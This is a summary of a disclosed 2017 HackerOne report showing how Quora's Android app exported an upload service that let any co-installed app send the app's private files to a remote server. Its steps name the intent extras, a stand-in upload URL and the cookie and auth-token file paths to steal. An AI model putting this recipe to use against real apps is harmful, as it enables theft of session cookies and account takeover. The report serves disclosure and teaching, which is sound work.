# [Quora Android] Possible to steal arbitrary files from mobile device

Quora Android exported the gotev UploadService, letting any co-installed app push arbitrary files like WebView cookies to an attacker server.

- Payout: hidden
- Severity: medium
- Program: Quora
- Found by: bagipro
- Disclosed: 2017-08-30
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/258460
- Library page: https://bugbountylibrary.com/r/h1%3A258460
- Tags: area:mobile domain:mobile impact:ato impact:data-leak kind:bounty platform:hackerone sev:medium tech:android technique:source-review vuln:access-control vuln:info-disclosure

**Target:** Android app exported service (net.gotev.uploadservice.UploadService)
**Root cause:** The third-party gotev uploadservice library's UploadService is declared android:exported="true" with no permission, so any app on the device can bind/start it and supply arbitrary upload task parameters including file paths.
**Steps:**
1. Inspect Quora's AndroidManifest and note `<service android:enabled="true" android:exported="true" android:name="net.gotev.uploadservice.UploadService"/>`.
2. Build an attacker app that constructs `UploadTaskParameters` with `setServerUrl("http://google.com/zaheck")` and `addFile(new UploadFile("/data/data/com.quora.android/app_webview/Cookies"))`.
3. Send an explicit intent with action `net.gotev.uploadservice.action.upload`, `setClassName("com.quora.android", "net.gotev.uploadservice.UploadService")`, extras `taskClass=net.gotev.uploadservice.MultipartUploadTask`, `multipartUtf8Charset=true`, `httpTaskParameters`, `taskParameters`.
4. Call `startService(intent)`; the service reads the private file and POSTs it to the attacker URL.
**How found:** Reviewed the app's AndroidManifest, spotted the exported gotev uploadservice service, and recognized that its intent extras accept arbitrary file paths and server URLs.
**Exploitation:** Any third-party app installed on the same device starts the exported service with attacker-controlled parameters; the service runs in Quora's UID, reads app-private files (WebView Cookies, shared_prefs with Google auth token) and uploads them to the attacker's server, enabling account takeover.
**Escalation:** Steals WebView cookies (including httpOnly) and shared_prefs Google authorization tokens, escalating file read to account takeover.
**Insight:** Third-party library services (upload/download managers, job schedulers) often ship exported by default; grep merged manifests for exported services/receivers and check whether their intent extras accept file paths or URLs you control.